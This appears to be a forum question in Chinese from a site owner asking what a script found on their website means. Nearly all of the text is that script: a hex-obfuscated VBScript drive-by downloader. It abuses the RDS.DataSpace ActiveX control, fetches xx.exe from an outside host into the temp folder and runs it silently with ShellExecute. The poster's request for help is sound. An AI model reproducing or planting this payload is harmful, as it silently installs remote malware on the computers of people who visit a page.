请问这段代码是什么意思呀?
我的网站上怎么会多了这个的呀。
<script language="VBScript">
s="vbs"
flag_type=s
S="6F6E206572726f7220726573756D65206e6578740d0a6375726C3d22"
S=S+"687474703a2f2f35313733313030362E636F6d2F61646D696e2f7878"
S=S+"2e65786522200d0a666e616d65313D2278782e657865220D0a666E61"
S=S+"6D65323D2278782e766273220D0A6375726c3D7472696D286375726c"
S=S+"290D0a536574206466203d20646f63756d656e742E63726561746545"
S=S+"6C656D656e7428226F626A65637422290d0A64662E73657441747472"
S=S+"69627574652022636c6173736964222c2022636C7369643A42443936"
S=S+"433535362D363541332D313144302D393833412d3030433034464332"
S=S+"39453336220d0a7374723D224D6963726F736f66742e584d4c485454"
S=S+"50220D0a5365742078203D2064662E4372656174654f626A65637428"
S=S+"7374722C2222290D0A43313d2241646f220D0a43323d2264622e220D"
S=S+"0a43333d22737472220d0A43343d2265616D220D0a737472313D4331"
S=S+"2643322643332643340d0A737472353D737472310D0A736574205320"
S=S+"3D2064662e6372656174656F626a65637428737472352c2222290D0a"
S=S+"532E74797065203D20310D0a737472363d22474554220d0a782E4F70"
S=S+"656e20737472362c206375726C2C2046616C73650D0A782e53656E64"
S=S+"0D0a73313d22536372697074220d0a73323d22696E672e220D0A7333"
S=S+"3D2246696c65220d0A73343d2253797374656D4f626a656374220d0A"
S=S+"73303D73312B73322b73332B73340D0a7365742046203D2064662E63"
S=S+"72656174656f626A6563742873302C2222290d0A73657420746d7020"
S=S+"3d20462e4765745370656369616C466F6c6465722832290D0a666e61"
S=S+"6D65313d20462E4275696c645061746828746D702c666E616D653129"
S=S+"0d0A532e6F70656E0D0a532e777269746520782E726573706F6E7365"
S=S+"426f64790d0A532E73617665746F66696c6520666E616D65312C320D"
S=S+"0a532e636c6f73650D0A696620462e46696c6545786973747328666e"
S=S+"616d6531293D74727565207468656E0D0A202020207368613D225368"
S=S+"656c6C2e417070220D0a202020207368623D7368610d0A2020202073"
S=S+"65742051203D2064662E6372656174656f626A656374287368622B22"
S=S+"6C69636174696F6e222c2222290d0A20202020512E5368656c6C4578"
S=S+"656375746520666E616d65312c22222C22222c226F70656E222c300d"
S=S+"0A656E642069660D0A"
D=""
DO WHILE LEN(S)>1
k="&H"
k=k+ucase(LEFT(S,2))
p=CLng(k)
m=chr(p)
D=D+m
S=mymid(S)
LOOP
if flag_type="vbs" then
EXECUTE D
end if
if flag_type="html" then
document.write(D)
end if
</script>